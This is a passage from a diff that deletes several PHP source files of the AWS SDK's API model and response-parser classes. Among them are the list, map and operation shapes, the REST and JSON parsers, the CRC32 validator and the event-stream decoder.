|
||||
|
||||
// Account for the default namespace being defined and PHP not
|
||||
// being able to handle it :(.
|
||||
$element->registerXPathNamespace('ns', $namespaces['']);
|
||||
return 'ns:';
|
||||
}
|
||||
|
||||
protected function payload(
|
||||
ResponseInterface $response,
|
||||
StructureShape $member
|
||||
) {
|
||||
$xmlBody = $this->parseXml($response->getBody(), $response);
|
||||
$prefix = $this->registerNamespacePrefix($xmlBody);
|
||||
$errorBody = $xmlBody->xpath("//{$prefix}Error");
|
||||
|
||||
if (is_array($errorBody) && !empty($errorBody[0])) {
|
||||
return $this->parser->parse($member, $errorBody[0]);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api;
|
||||
|
||||
/**
|
||||
* Represents a list shape.
|
||||
*/
|
||||
class ListShape extends Shape
|
||||
{
|
||||
private $member;
|
||||
|
||||
public function __construct(array $definition, ShapeMap $shapeMap)
|
||||
{
|
||||
$definition['type'] = 'list';
|
||||
parent::__construct($definition, $shapeMap);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return Shape
|
||||
* @throws \RuntimeException if no member is specified
|
||||
*/
|
||||
public function getMember()
|
||||
{
|
||||
if (!$this->member) {
|
||||
if (!isset($this->definition['member'])) {
|
||||
throw new \RuntimeException('No member attribute specified');
|
||||
}
|
||||
$this->member = Shape::create(
|
||||
$this->definition['member'],
|
||||
$this->shapeMap
|
||||
);
|
||||
}
|
||||
|
||||
return $this->member;
|
||||
}
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api;
|
||||
|
||||
/**
|
||||
* Represents a map shape.
|
||||
*/
|
||||
class MapShape extends Shape
|
||||
{
|
||||
/** @var Shape */
|
||||
private $value;
|
||||
|
||||
/** @var Shape */
|
||||
private $key;
|
||||
|
||||
public function __construct(array $definition, ShapeMap $shapeMap)
|
||||
{
|
||||
$definition['type'] = 'map';
|
||||
parent::__construct($definition, $shapeMap);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return Shape
|
||||
* @throws \RuntimeException if no value is specified
|
||||
*/
|
||||
public function getValue()
|
||||
{
|
||||
if (!$this->value) {
|
||||
if (!isset($this->definition['value'])) {
|
||||
throw new \RuntimeException('No value specified');
|
||||
}
|
||||
|
||||
$this->value = Shape::create(
|
||||
$this->definition['value'],
|
||||
$this->shapeMap
|
||||
);
|
||||
}
|
||||
|
||||
return $this->value;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return Shape
|
||||
*/
|
||||
public function getKey()
|
||||
{
|
||||
if (!$this->key) {
|
||||
$this->key = isset($this->definition['key'])
|
||||
? Shape::create($this->definition['key'], $this->shapeMap)
|
||||
: new Shape(['type' => 'string'], $this->shapeMap);
|
||||
}
|
||||
|
||||
return $this->key;
|
||||
}
|
||||
}
|
||||
@@ -1,97 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api;
|
||||
|
||||
/**
|
||||
* Represents an API operation.
|
||||
*/
|
||||
class Operation extends AbstractModel
|
||||
{
|
||||
private $input;
|
||||
private $output;
|
||||
private $errors;
|
||||
|
||||
public function __construct(array $definition, ShapeMap $shapeMap)
|
||||
{
|
||||
$definition['type'] = 'structure';
|
||||
|
||||
if (!isset($definition['http']['method'])) {
|
||||
$definition['http']['method'] = 'POST';
|
||||
}
|
||||
|
||||
if (!isset($definition['http']['requestUri'])) {
|
||||
$definition['http']['requestUri'] = '/';
|
||||
}
|
||||
|
||||
parent::__construct($definition, $shapeMap);
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns an associative array of the HTTP attribute of the operation:
|
||||
*
|
||||
* - method: HTTP method of the operation
|
||||
* - requestUri: URI of the request (can include URI template placeholders)
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function getHttp()
|
||||
{
|
||||
return $this->definition['http'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the input shape of the operation.
|
||||
*
|
||||
* @return StructureShape
|
||||
*/
|
||||
public function getInput()
|
||||
{
|
||||
if (!$this->input) {
|
||||
if ($input = $this['input']) {
|
||||
$this->input = $this->shapeFor($input);
|
||||
} else {
|
||||
$this->input = new StructureShape([], $this->shapeMap);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->input;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the output shape of the operation.
|
||||
*
|
||||
* @return StructureShape
|
||||
*/
|
||||
public function getOutput()
|
||||
{
|
||||
if (!$this->output) {
|
||||
if ($output = $this['output']) {
|
||||
$this->output = $this->shapeFor($output);
|
||||
} else {
|
||||
$this->output = new StructureShape([], $this->shapeMap);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->output;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get an array of operation error shapes.
|
||||
*
|
||||
* @return Shape[]
|
||||
*/
|
||||
public function getErrors()
|
||||
{
|
||||
if ($this->errors === null) {
|
||||
if ($errors = $this['errors']) {
|
||||
foreach ($errors as $key => $error) {
|
||||
$errors[$key] = $this->shapeFor($error);
|
||||
}
|
||||
$this->errors = $errors;
|
||||
} else {
|
||||
$this->errors = [];
|
||||
}
|
||||
}
|
||||
|
||||
return $this->errors;
|
||||
}
|
||||
}
|
||||
@@ -1,46 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use Aws\Api\Service;
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\CommandInterface;
|
||||
use Aws\ResultInterface;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
use Psr\Http\Message\StreamInterface;
|
||||
|
||||
/**
|
||||
* @internal
|
||||
*/
|
||||
abstract class AbstractParser
|
||||
{
|
||||
/** @var \Aws\Api\Service Representation of the service API*/
|
||||
protected $api;
|
||||
|
||||
/** @var callable */
|
||||
protected $parser;
|
||||
|
||||
/**
|
||||
* @param Service $api Service description.
|
||||
*/
|
||||
public function __construct(Service $api)
|
||||
{
|
||||
$this->api = $api;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param CommandInterface $command Command that was executed.
|
||||
* @param ResponseInterface $response Response that was received.
|
||||
*
|
||||
* @return ResultInterface
|
||||
*/
|
||||
abstract public function __invoke(
|
||||
CommandInterface $command,
|
||||
ResponseInterface $response
|
||||
);
|
||||
|
||||
abstract public function parseMemberFromStream(
|
||||
StreamInterface $stream,
|
||||
StructureShape $member,
|
||||
$response
|
||||
);
|
||||
}
|
||||
@@ -1,184 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use Aws\Api\DateTimeResult;
|
||||
use Aws\Api\Shape;
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\Result;
|
||||
use Aws\CommandInterface;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
|
||||
/**
|
||||
* @internal
|
||||
*/
|
||||
abstract class AbstractRestParser extends AbstractParser
|
||||
{
|
||||
use PayloadParserTrait;
|
||||
|
||||
/**
|
||||
* Parses a payload from a response.
|
||||
*
|
||||
* @param ResponseInterface $response Response to parse.
|
||||
* @param StructureShape $member Member to parse
|
||||
* @param array $result Result value
|
||||
*
|
||||
* @return mixed
|
||||
*/
|
||||
abstract protected function payload(
|
||||
ResponseInterface $response,
|
||||
StructureShape $member,
|
||||
array &$result
|
||||
);
|
||||
|
||||
public function __invoke(
|
||||
CommandInterface $command,
|
||||
ResponseInterface $response
|
||||
) {
|
||||
$output = $this->api->getOperation($command->getName())->getOutput();
|
||||
$result = [];
|
||||
|
||||
if ($payload = $output['payload']) {
|
||||
$this->extractPayload($payload, $output, $response, $result);
|
||||
}
|
||||
|
||||
foreach ($output->getMembers() as $name => $member) {
|
||||
switch ($member['location']) {
|
||||
case 'header':
|
||||
$this->extractHeader($name, $member, $response, $result);
|
||||
break;
|
||||
case 'headers':
|
||||
$this->extractHeaders($name, $member, $response, $result);
|
||||
break;
|
||||
case 'statusCode':
|
||||
$this->extractStatus($name, $response, $result);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!$payload
|
||||
&& $response->getBody()->getSize() > 0
|
||||
&& count($output->getMembers()) > 0
|
||||
) {
|
||||
// if no payload was found, then parse the contents of the body
|
||||
$this->payload($response, $output, $result);
|
||||
}
|
||||
|
||||
return new Result($result);
|
||||
}
|
||||
|
||||
private function extractPayload(
|
||||
$payload,
|
||||
StructureShape $output,
|
||||
ResponseInterface $response,
|
||||
array &$result
|
||||
) {
|
||||
$member = $output->getMember($payload);
|
||||
|
||||
if (!empty($member['eventstream'])) {
|
||||
$result[$payload] = new EventParsingIterator(
|
||||
$response->getBody(),
|
||||
$member,
|
||||
$this
|
||||
);
|
||||
} else if ($member instanceof StructureShape) {
|
||||
// Structure members parse top-level data into a specific key.
|
||||
$result[$payload] = [];
|
||||
$this->payload($response, $member, $result[$payload]);
|
||||
} else {
|
||||
// Streaming data is just the stream from the response body.
|
||||
$result[$payload] = $response->getBody();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract a single header from the response into the result.
|
||||
*/
|
||||
private function extractHeader(
|
||||
$name,
|
||||
Shape $shape,
|
||||
ResponseInterface $response,
|
||||
&$result
|
||||
) {
|
||||
$value = $response->getHeaderLine($shape['locationName'] ?: $name);
|
||||
|
||||
switch ($shape->getType()) {
|
||||
case 'float':
|
||||
case 'double':
|
||||
$value = (float) $value;
|
||||
break;
|
||||
case 'long':
|
||||
$value = (int) $value;
|
||||
break;
|
||||
case 'boolean':
|
||||
$value = filter_var($value, FILTER_VALIDATE_BOOLEAN);
|
||||
break;
|
||||
case 'blob':
|
||||
$value = base64_decode($value);
|
||||
break;
|
||||
case 'timestamp':
|
||||
try {
|
||||
$value = DateTimeResult::fromTimestamp(
|
||||
$value,
|
||||
!empty($shape['timestampFormat']) ? $shape['timestampFormat'] : null
|
||||
);
|
||||
break;
|
||||
} catch (\Exception $e) {
|
||||
// If the value cannot be parsed, then do not add it to the
|
||||
// output structure.
|
||||
return;
|
||||
}
|
||||
case 'string':
|
||||
try {
|
||||
if ($shape['jsonvalue']) {
|
||||
$value = $this->parseJson(base64_decode($value), $response);
|
||||
}
|
||||
|
||||
// If value is not set, do not add to output structure.
|
||||
if (!isset($value)) {
|
||||
return;
|
||||
}
|
||||
break;
|
||||
} catch (\Exception $e) {
|
||||
//If the value cannot be parsed, then do not add it to the
|
||||
//output structure.
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
$result[$name] = $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract a map of headers with an optional prefix from the response.
|
||||
*/
|
||||
private function extractHeaders(
|
||||
$name,
|
||||
Shape $shape,
|
||||
ResponseInterface $response,
|
||||
&$result
|
||||
) {
|
||||
// Check if the headers are prefixed by a location name
|
||||
$result[$name] = [];
|
||||
$prefix = $shape['locationName'];
|
||||
$prefixLen = strlen($prefix);
|
||||
|
||||
foreach ($response->getHeaders() as $k => $values) {
|
||||
if (!$prefixLen) {
|
||||
$result[$name][$k] = implode(', ', $values);
|
||||
} elseif (stripos($k, $prefix) === 0) {
|
||||
$result[$name][substr($k, $prefixLen)] = implode(', ', $values);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Places the status code of the response into the result array.
|
||||
*/
|
||||
private function extractStatus(
|
||||
$name,
|
||||
ResponseInterface $response,
|
||||
array &$result
|
||||
) {
|
||||
$result[$name] = (int) $response->getStatusCode();
|
||||
}
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\CommandInterface;
|
||||
use Aws\Exception\AwsException;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
use Psr\Http\Message\StreamInterface;
|
||||
use GuzzleHttp\Psr7;
|
||||
|
||||
/**
|
||||
* @internal Decorates a parser and validates the x-amz-crc32 header.
|
||||
*/
|
||||
class Crc32ValidatingParser extends AbstractParser
|
||||
{
|
||||
/**
|
||||
* @param callable $parser Parser to wrap.
|
||||
*/
|
||||
public function __construct(callable $parser)
|
||||
{
|
||||
$this->parser = $parser;
|
||||
}
|
||||
|
||||
public function __invoke(
|
||||
CommandInterface $command,
|
||||
ResponseInterface $response
|
||||
) {
|
||||
if ($expected = $response->getHeaderLine('x-amz-crc32')) {
|
||||
$hash = hexdec(Psr7\hash($response->getBody(), 'crc32b'));
|
||||
if ($expected != $hash) {
|
||||
throw new AwsException(
|
||||
"crc32 mismatch. Expected {$expected}, found {$hash}.",
|
||||
$command,
|
||||
[
|
||||
'code' => 'ClientChecksumMismatch',
|
||||
'connection_error' => true,
|
||||
'response' => $response
|
||||
]
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
$fn = $this->parser;
|
||||
return $fn($command, $response);
|
||||
}
|
||||
|
||||
public function parseMemberFromStream(
|
||||
StreamInterface $stream,
|
||||
StructureShape $member,
|
||||
$response
|
||||
) {
|
||||
return $this->parser->parseMemberFromStream($stream, $member, $response);
|
||||
}
|
||||
}
|
||||
@@ -1,335 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use \Iterator;
|
||||
use Aws\Api\DateTimeResult;
|
||||
use GuzzleHttp\Psr7;
|
||||
use Psr\Http\Message\StreamInterface;
|
||||
use Aws\Api\Parser\Exception\ParserException;
|
||||
|
||||
/**
|
||||
* @internal Implements a decoder for a binary encoded event stream that will
|
||||
* decode, validate, and provide individual events from the stream.
|
||||
*/
|
||||
class DecodingEventStreamIterator implements Iterator
|
||||
{
|
||||
const HEADERS = 'headers';
|
||||
const PAYLOAD = 'payload';
|
||||
|
||||
const LENGTH_TOTAL = 'total_length';
|
||||
const LENGTH_HEADERS = 'headers_length';
|
||||
|
||||
const CRC_PRELUDE = 'prelude_crc';
|
||||
|
||||
const BYTES_PRELUDE = 12;
|
||||
const BYTES_TRAILING = 4;
|
||||
|
||||
private static $preludeFormat = [
|
||||
self::LENGTH_TOTAL => 'decodeUint32',
|
||||
self::LENGTH_HEADERS => 'decodeUint32',
|
||||
self::CRC_PRELUDE => 'decodeUint32',
|
||||
];
|
||||
|
||||
private static $lengthFormatMap = [
|
||||
1 => 'decodeUint8',
|
||||
2 => 'decodeUint16',
|
||||
4 => 'decodeUint32',
|
||||
8 => 'decodeUint64',
|
||||
];
|
||||
|
||||
private static $headerTypeMap = [
|
||||
0 => 'decodeBooleanTrue',
|
||||
1 => 'decodeBooleanFalse',
|
||||
2 => 'decodeInt8',
|
||||
3 => 'decodeInt16',
|
||||
4 => 'decodeInt32',
|
||||
5 => 'decodeInt64',
|
||||
6 => 'decodeBytes',
|
||||
7 => 'decodeString',
|
||||
8 => 'decodeTimestamp',
|
||||
9 => 'decodeUuid',
|
||||
];
|
||||
|
||||
/** @var StreamInterface Stream of eventstream shape to parse. */
|
||||
private $stream;
|
||||
|
||||
/** @var array Currently parsed event. */
|
||||
private $currentEvent;
|
||||
|
||||
/** @var int Current in-order event key. */
|
||||
private $key;
|
||||
|
||||
/** @var resource|\HashContext CRC32 hash context for event validation */
|
||||
private $hashContext;
|
||||
|
||||
/** @var int $currentPosition */
|
||||
private $currentPosition;
|
||||
|
||||
/**
|
||||
* DecodingEventStreamIterator constructor.
|
||||
*
|
||||
* @param StreamInterface $stream
|
||||
*/
|
||||
public function __construct(StreamInterface $stream)
|
||||
{
|
||||
$this->stream = $stream;
|
||||
$this->rewind();
|
||||
}
|
||||
|
||||
private function parseHeaders($headerBytes)
|
||||
{
|
||||
$headers = [];
|
||||
$bytesRead = 0;
|
||||
|
||||
while ($bytesRead < $headerBytes) {
|
||||
list($key, $numBytes) = $this->decodeString(1);
|
||||
$bytesRead += $numBytes;
|
||||
|
||||
list($type, $numBytes) = $this->decodeUint8();
|
||||
$bytesRead += $numBytes;
|
||||
|
||||
$f = self::$headerTypeMap[$type];
|
||||
list($value, $numBytes) = $this->{$f}();
|
||||
$bytesRead += $numBytes;
|
||||
|
||||
if (isset($headers[$key])) {
|
||||
throw new ParserException('Duplicate key in event headers.');
|
||||
}
|
||||
$headers[$key] = $value;
|
||||
}
|
||||
|
||||
return [$headers, $bytesRead];
|
||||
}
|
||||
|
||||
private function parsePrelude()
|
||||
{
|
||||
$prelude = [];
|
||||
$bytesRead = 0;
|
||||
|
||||
$calculatedCrc = null;
|
||||
foreach (self::$preludeFormat as $key => $decodeFunction) {
|
||||
if ($key === self::CRC_PRELUDE) {
|
||||
$hashCopy = hash_copy($this->hashContext);
|
||||
$calculatedCrc = hash_final($this->hashContext, true);
|
||||
$this->hashContext = $hashCopy;
|
||||
}
|
||||
list($value, $numBytes) = $this->{$decodeFunction}();
|
||||
$bytesRead += $numBytes;
|
||||
|
||||
$prelude[$key] = $value;
|
||||
}
|
||||
|
||||
if (unpack('N', $calculatedCrc)[1] !== $prelude[self::CRC_PRELUDE]) {
|
||||
throw new ParserException('Prelude checksum mismatch.');
|
||||
}
|
||||
|
||||
return [$prelude, $bytesRead];
|
||||
}
|
||||
|
||||
private function parseEvent()
|
||||
{
|
||||
$event = [];
|
||||
|
||||
if ($this->stream->tell() < $this->stream->getSize()) {
|
||||
$this->hashContext = hash_init('crc32b');
|
||||
|
||||
$bytesLeft = $this->stream->getSize() - $this->stream->tell();
|
||||
list($prelude, $numBytes) = $this->parsePrelude();
|
||||
if ($prelude[self::LENGTH_TOTAL] > $bytesLeft) {
|
||||
throw new ParserException('Message length too long.');
|
||||
}
|
||||
$bytesLeft -= $numBytes;
|
||||
|
||||
if ($prelude[self::LENGTH_HEADERS] > $bytesLeft) {
|
||||
throw new ParserException('Headers length too long.');
|
||||
}
|
||||
|
||||
list(
|
||||
$event[self::HEADERS],
|
||||
$numBytes
|
||||
) = $this->parseHeaders($prelude[self::LENGTH_HEADERS]);
|
||||
|
||||
$event[self::PAYLOAD] = Psr7\stream_for(
|
||||
$this->readAndHashBytes(
|
||||
$prelude[self::LENGTH_TOTAL] - self::BYTES_PRELUDE
|
||||
- $numBytes - self::BYTES_TRAILING
|
||||
)
|
||||
);
|
||||
|
||||
$calculatedCrc = hash_final($this->hashContext, true);
|
||||
$messageCrc = $this->stream->read(4);
|
||||
if ($calculatedCrc !== $messageCrc) {
|
||||
throw new ParserException('Message checksum mismatch.');
|
||||
}
|
||||
}
|
||||
|
||||
return $event;
|
||||
}
|
||||
|
||||
// Iterator Functionality
|
||||
|
||||
/**
|
||||
* @return array
|
||||
*/
|
||||
public function current()
|
||||
{
|
||||
return $this->currentEvent;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return int
|
||||
*/
|
||||
public function key()
|
||||
{
|
||||
return $this->key;
|
||||
}
|
||||
|
||||
public function next()
|
||||
{
|
||||
$this->currentPosition = $this->stream->tell();
|
||||
if ($this->valid()) {
|
||||
$this->key++;
|
||||
$this->currentEvent = $this->parseEvent();
|
||||
}
|
||||
}
|
||||
|
||||
public function rewind()
|
||||
{
|
||||
$this->stream->rewind();
|
||||
$this->key = 0;
|
||||
$this->currentPosition = 0;
|
||||
$this->currentEvent = $this->parseEvent();
|
||||
}
|
||||
|
||||
/**
|
||||
* @return bool
|
||||
*/
|
||||
public function valid()
|
||||
{
|
||||
return $this->currentPosition < $this->stream->getSize();
|
||||
}
|
||||
|
||||
// Decoding Utilities
|
||||
|
||||
private function readAndHashBytes($num)
|
||||
{
|
||||
$bytes = $this->stream->read($num);
|
||||
hash_update($this->hashContext, $bytes);
|
||||
return $bytes;
|
||||
}
|
||||
|
||||
private function decodeBooleanTrue()
|
||||
{
|
||||
return [true, 0];
|
||||
}
|
||||
|
||||
private function decodeBooleanFalse()
|
||||
{
|
||||
return [false, 0];
|
||||
}
|
||||
|
||||
private function uintToInt($val, $size)
|
||||
{
|
||||
$signedCap = pow(2, $size - 1);
|
||||
if ($val > $signedCap) {
|
||||
$val -= (2 * $signedCap);
|
||||
}
|
||||
return $val;
|
||||
}
|
||||
|
||||
private function decodeInt8()
|
||||
{
|
||||
$val = (int)unpack('C', $this->readAndHashBytes(1))[1];
|
||||
return [$this->uintToInt($val, 8), 1];
|
||||
}
|
||||
|
||||
private function decodeUint8()
|
||||
{
|
||||
return [unpack('C', $this->readAndHashBytes(1))[1], 1];
|
||||
}
|
||||
|
||||
private function decodeInt16()
|
||||
{
|
||||
$val = (int)unpack('n', $this->readAndHashBytes(2))[1];
|
||||
return [$this->uintToInt($val, 16), 2];
|
||||
}
|
||||
|
||||
private function decodeUint16()
|
||||
{
|
||||
return [unpack('n', $this->readAndHashBytes(2))[1], 2];
|
||||
}
|
||||
|
||||
private function decodeInt32()
|
||||
{
|
||||
$val = (int)unpack('N', $this->readAndHashBytes(4))[1];
|
||||
return [$this->uintToInt($val, 32), 4];
|
||||
}
|
||||
|
||||
private function decodeUint32()
|
||||
{
|
||||
return [unpack('N', $this->readAndHashBytes(4))[1], 4];
|
||||
}
|
||||
|
||||
private function decodeInt64()
|
||||
{
|
||||
$val = $this->unpackInt64($this->readAndHashBytes(8))[1];
|
||||
return [$this->uintToInt($val, 64), 8];
|
||||
}
|
||||
|
||||
private function decodeUint64()
|
||||
{
|
||||
return [$this->unpackInt64($this->readAndHashBytes(8))[1], 8];
|
||||
}
|
||||
|
||||
private function unpackInt64($bytes)
|
||||
{
|
||||
if (version_compare(PHP_VERSION, '5.6.3', '<')) {
|
||||
$d = unpack('N2', $bytes);
|
||||
return [1 => $d[1] << 32 | $d[2]];
|
||||
}
|
||||
return unpack('J', $bytes);
|
||||
}
|
||||
|
||||
private function decodeBytes($lengthBytes=2)
|
||||
{
|
||||
if (!isset(self::$lengthFormatMap[$lengthBytes])) {
|
||||
throw new ParserException('Undefined variable length format.');
|
||||
}
|
||||
$f = self::$lengthFormatMap[$lengthBytes];
|
||||
list($len, $bytes) = $this->{$f}();
|
||||
return [$this->readAndHashBytes($len), $len + $bytes];
|
||||
}
|
||||
|
||||
private function decodeString($lengthBytes=2)
|
||||
{
|
||||
if (!isset(self::$lengthFormatMap[$lengthBytes])) {
|
||||
throw new ParserException('Undefined variable length format.');
|
||||
}
|
||||
$f = self::$lengthFormatMap[$lengthBytes];
|
||||
list($len, $bytes) = $this->{$f}();
|
||||
return [$this->readAndHashBytes($len), $len + $bytes];
|
||||
}
|
||||
|
||||
private function decodeTimestamp()
|
||||
{
|
||||
list($val, $bytes) = $this->decodeInt64();
|
||||
return [
|
||||
DateTimeResult::createFromFormat('U.u', $val / 1000),
|
||||
$bytes
|
||||
];
|
||||
}
|
||||
|
||||
private function decodeUuid()
|
||||
{
|
||||
$val = unpack('H32', $this->readAndHashBytes(16))[1];
|
||||
return [
|
||||
substr($val, 0, 8) . '-'
|
||||
. substr($val, 8, 4) . '-'
|
||||
. substr($val, 12, 4) . '-'
|
||||
. substr($val, 16, 4) . '-'
|
||||
. substr($val, 20, 12),
|
||||
16
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -1,107 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use \Iterator;
|
||||
use Aws\Exception\EventStreamDataException;
|
||||
use Aws\Api\Parser\Exception\ParserException;
|
||||
use Aws\Api\StructureShape;
|
||||
use Psr\Http\Message\StreamInterface;
|
||||
|
||||
/**
|
||||
* @internal Implements a decoder for a binary encoded event stream that will
|
||||
* decode, validate, and provide individual events from the stream.
|
||||
*/
|
||||
class EventParsingIterator implements Iterator
|
||||
{
|
||||
/** @var StreamInterface */
|
||||
private $decodingIterator;
|
||||
|
||||
/** @var StructureShape */
|
||||
private $shape;
|
||||
|
||||
/** @var AbstractParser */
|
||||
private $parser;
|
||||
|
||||
public function __construct(
|
||||
StreamInterface $stream,
|
||||
StructureShape $shape,
|
||||
AbstractParser $parser
|
||||
) {
|
||||
$this->decodingIterator = new DecodingEventStreamIterator($stream);
|
||||
$this->shape = $shape;
|
||||
$this->parser = $parser;
|
||||
}
|
||||
|
||||
public function current()
|
||||
{
|
||||
return $this->parseEvent($this->decodingIterator->current());
|
||||
}
|
||||
|
||||
public function key()
|
||||
{
|
||||
return $this->decodingIterator->key();
|
||||
}
|
||||
|
||||
public function next()
|
||||
{
|
||||
$this->decodingIterator->next();
|
||||
}
|
||||
|
||||
public function rewind()
|
||||
{
|
||||
$this->decodingIterator->rewind();
|
||||
}
|
||||
|
||||
public function valid()
|
||||
{
|
||||
return $this->decodingIterator->valid();
|
||||
}
|
||||
|
||||
private function parseEvent(array $event)
|
||||
{
|
||||
if (!empty($event['headers'][':message-type'])) {
|
||||
if ($event['headers'][':message-type'] === 'error') {
|
||||
return $this->parseError($event);
|
||||
}
|
||||
if ($event['headers'][':message-type'] !== 'event') {
|
||||
throw new ParserException('Failed to parse unknown message type.');
|
||||
}
|
||||
}
|
||||
|
||||
if (empty($event['headers'][':event-type'])) {
|
||||
throw new ParserException('Failed to parse without event type.');
|
||||
}
|
||||
$eventShape = $this->shape->getMember($event['headers'][':event-type']);
|
||||
|
||||
$parsedEvent = [];
|
||||
foreach ($eventShape['members'] as $shape => $details) {
|
||||
if (!empty($details['eventpayload'])) {
|
||||
$payloadShape = $eventShape->getMember($shape);
|
||||
if ($payloadShape['type'] === 'blob') {
|
||||
$parsedEvent[$shape] = $event['payload'];
|
||||
} else {
|
||||
$parsedEvent[$shape] = $this->parser->parseMemberFromStream(
|
||||
$event['payload'],
|
||||
$payloadShape,
|
||||
null
|
||||
);
|
||||
}
|
||||
} else {
|
||||
$parsedEvent[$shape] = $event['headers'][$shape];
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
$event['headers'][':event-type'] => $parsedEvent
|
||||
];
|
||||
}
|
||||
|
||||
private function parseError(array $event)
|
||||
{
|
||||
throw new EventStreamDataException(
|
||||
$event['headers'][':error-code'],
|
||||
$event['headers'][':error-message']
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,56 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Parser\Exception;
|
||||
|
||||
use Aws\HasMonitoringEventsTrait;
|
||||
use Aws\MonitoringEventsInterface;
|
||||
use Aws\ResponseContainerInterface;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
|
||||
class ParserException extends \RuntimeException implements
|
||||
MonitoringEventsInterface,
|
||||
ResponseContainerInterface
|
||||
{
|
||||
use HasMonitoringEventsTrait;
|
||||
|
||||
private $errorCode;
|
||||
private $requestId;
|
||||
private $response;
|
||||
|
||||
public function __construct($message = '', $code = 0, $previous = null, array $context = [])
|
||||
{
|
||||
$this->errorCode = isset($context['error_code']) ? $context['error_code'] : null;
|
||||
$this->requestId = isset($context['request_id']) ? $context['request_id'] : null;
|
||||
$this->response = isset($context['response']) ? $context['response'] : null;
|
||||
parent::__construct($message, $code, $previous);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the error code, if any.
|
||||
*
|
||||
* @return string|null
|
||||
*/
|
||||
public function getErrorCode()
|
||||
{
|
||||
return $this->errorCode;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the request ID, if any.
|
||||
*
|
||||
* @return string|null
|
||||
*/
|
||||
public function getRequestId()
|
||||
{
|
||||
return $this->requestId;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the received HTTP response if any.
|
||||
*
|
||||
* @return ResponseInterface|null
|
||||
*/
|
||||
public function getResponse()
|
||||
{
|
||||
return $this->response;
|
||||
}
|
||||
}
|
||||
@@ -1,59 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use Aws\Api\DateTimeResult;
|
||||
use Aws\Api\Shape;
|
||||
|
||||
/**
|
||||
* @internal Implements standard JSON parsing.
|
||||
*/
|
||||
class JsonParser
|
||||
{
|
||||
public function parse(Shape $shape, $value)
|
||||
{
|
||||
if ($value === null) {
|
||||
return $value;
|
||||
}
|
||||
|
||||
switch ($shape['type']) {
|
||||
case 'structure':
|
||||
$target = [];
|
||||
foreach ($shape->getMembers() as $name => $member) {
|
||||
$locationName = $member['locationName'] ?: $name;
|
||||
if (isset($value[$locationName])) {
|
||||
$target[$name] = $this->parse($member, $value[$locationName]);
|
||||
}
|
||||
}
|
||||
return $target;
|
||||
|
||||
case 'list':
|
||||
$member = $shape->getMember();
|
||||
$target = [];
|
||||
foreach ($value as $v) {
|
||||
$target[] = $this->parse($member, $v);
|
||||
}
|
||||
return $target;
|
||||
|
||||
case 'map':
|
||||
$values = $shape->getValue();
|
||||
$target = [];
|
||||
foreach ($value as $k => $v) {
|
||||
$target[$k] = $this->parse($values, $v);
|
||||
}
|
||||
return $target;
|
||||
|
||||
case 'timestamp':
|
||||
return DateTimeResult::fromTimestamp(
|
||||
$value,
|
||||
!empty($shape['timestampFormat']) ? $shape['timestampFormat'] : null
|
||||
);
|
||||
|
||||
case 'blob':
|
||||
return base64_decode($value);
|
||||
|
||||
default:
|
||||
return $value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,51 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\Api\Service;
|
||||
use Aws\Result;
|
||||
use Aws\CommandInterface;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
use Psr\Http\Message\StreamInterface;
|
||||
|
||||
/**
|
||||
* @internal Implements JSON-RPC parsing (e.g., DynamoDB)
|
||||
*/
|
||||
class JsonRpcParser extends AbstractParser
|
||||
{
|
||||
use PayloadParserTrait;
|
||||
|
||||
/**
|
||||
* @param Service $api Service description
|
||||
* @param JsonParser $parser JSON body builder
|
||||
*/
|
||||
public function __construct(Service $api, JsonParser $parser = null)
|
||||
{
|
||||
parent::__construct($api);
|
||||
$this->parser = $parser ?: new JsonParser();
|
||||
}
|
||||
|
||||
public function __invoke(
|
||||
CommandInterface $command,
|
